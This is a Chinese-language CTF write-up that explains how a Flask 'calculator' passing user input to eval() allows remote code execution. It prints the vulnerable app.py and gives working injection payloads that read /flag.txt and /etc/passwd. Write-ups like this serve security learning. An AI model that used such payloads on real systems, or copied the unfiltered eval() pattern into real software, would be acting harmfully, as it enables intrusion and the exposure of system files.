---
# System prepended metadata

title: evil-calculator write up
tags: [write up]

---

# evil-calculator write up

> Ans: ==AIS3{fake_flag}==

進來網站後，會看到一個像計算機的東西。

![image](https://hackmd.io/_uploads/Skbxmppvgl.png)

這裡先隨意輸入 1+1，看他會做什麼事。

![image](https://hackmd.io/_uploads/SkEc2gCDgx.png)
![image](https://hackmd.io/_uploads/SyU_2eCwxg.png)

可以發現在我們做計算時，會送出一個 POST 請求，並且檔案是以 JSON 格式傳送，這裡我們攔截請求，先去看看他後端怎麼運作。

![image](https://hackmd.io/_uploads/BkIxTg0vxl.png)

:::spoiler **index.html** 完整原始碼
```js
<script>
  let expressionScreen = document.getElementById('expression');

  function appendToExpression(char) {
    expressionScreen.value = expressionScreen.value === '0' ? char : expressionScreen.value + char;
  }

  function clearExpression() {
    expressionScreen.value = '0';
  }

  function calculate() {
    const expression = expressionScreen.value;
    fetch('/calculate', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
      },
      body: JSON.stringify({expression: expression}),
    })
    .then(response => response.json())
    .then(data => {
      expressionScreen.value = data.result;
    })
    .catch((error) => {
      console.error('Error:', error);
      expressionScreen.value = 'Error';
    });
  }
</script>
```
:::

在前端的程式碼中，前半段是一般計算機計算跟字元顯示的設定，但後半段傳送 POST 請求中，有一個問題。

```js
const expression = expressionScreen.value;

fetch('/calculate', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
  },
  body: JSON.stringify({expression: expression}),
})
```

這裡會把我們的輸入轉成 json 傳到後端做處理，但他這裡並沒有做任何的資料檢查或過濾，意味著我們輸什麼，他就送甚麼進去。

:::spoiler <span style="font-weight:bold">app.py</span>  完整程式碼
```py
from flask import Flask, request, jsonify, render_template

app = Flask(__name__)

@app.route('/calculate', methods=['POST'])
def calculate():
    data = request.json
    expression = data['expression'].replace(" ","").replace("_","")
    try:
        result = eval(expression)
    except Exception as e:
        result = str(e)
    return jsonify(result=str(result))

@app.route('/')
def index():
    return render_template('index.html')

if __name__ == '__main__':
    app.run("0.0.0.0",5001)
```
:::

這裡有一段程式碼是針對我們的輸入做處理，但沒有很嚴謹。

```py
@app.route('/calculate', methods=['POST'])
def calculate():
    data = request.json
    expression = data['expression'].replace(" ","").replace("_","")
    try:
        result = eval(expression)
    except Exception as e:
        result = str(e)
    return jsonify(result=str(result))
```

### 1. 先接收使用者的輸入

而使用者可以控制 `data['expression']`，這是**用戶完全可控的輸入**。

```py
data = request.json
expression = data['expression']
```

### 2. 接著對輸入做過濾

這只把空格和 `_` 拿掉，但沒處理其他危險字符，例如：

- `.`（用來存取屬性）。
- `__class__`、`__subclasses__()`（物件鍊）。
- `[]`、`{}`、`()`、`'`、`"` 都還可以用。

只要 payload 沒依賴 `_`，都能執行成功。

```py
expression = data['expression'].replace(" ","").replace("_","")
```

### 3. 再來是最重要的部分：`eval()`

這會把輸入的字串當成原生 Python 程式碼直接執行，例如：

```py
{"expression":"open('/flag.txt').read()"}
```

執行起來就是：

```py
eval("open('/flag.txt').read()")
```

-  讀檔。
-  反彈 shell、刪除檔案。
-  這是標準的 Remote Code Execution (RCE)。

```py
result = eval(expression)
```

### 4. 然後是例外處理

這裡只會把錯誤訊息包成字串，回傳給前端，不是保護，只是「讓伺服器不要炸掉」。

```py
except Exception as e:
    result = str(e)
```

### 5. 最後回傳結果

```py
return jsonify(result=str(result))
```

他把 `eval()` 的結果送回給前端，這也代表可以用他來回傳敏感資料，例如：


```js
{"expression":"open('/etc/passwd').read()"}
```

### 攻擊

程式中的 `/calculate` 路由接收 JSON 格式的 POST 請求，然後從中提取 `expression` 參數。該值僅進行了 `.replace(" ","").replace("_","")` 的處理，接著就直接被傳入 `eval()`。由於 `eval()` 能執行任意 Python 程式碼，因此我可以構造惡意輸入，例如：

```js
{"expression":"open('/flag.txt').read()"}
```

![image](https://hackmd.io/_uploads/B1NUTWAwll.png)

雖然是拿到 fake_flag，後來有嘗試 ls，這裡因為他鎖 `_`，我沒辦法用 import，所以直接用 chr 一個一個拼出來，但並沒有給其他有用的檔。

![image](https://hackmd.io/_uploads/H1FmJMRwxe.png)

---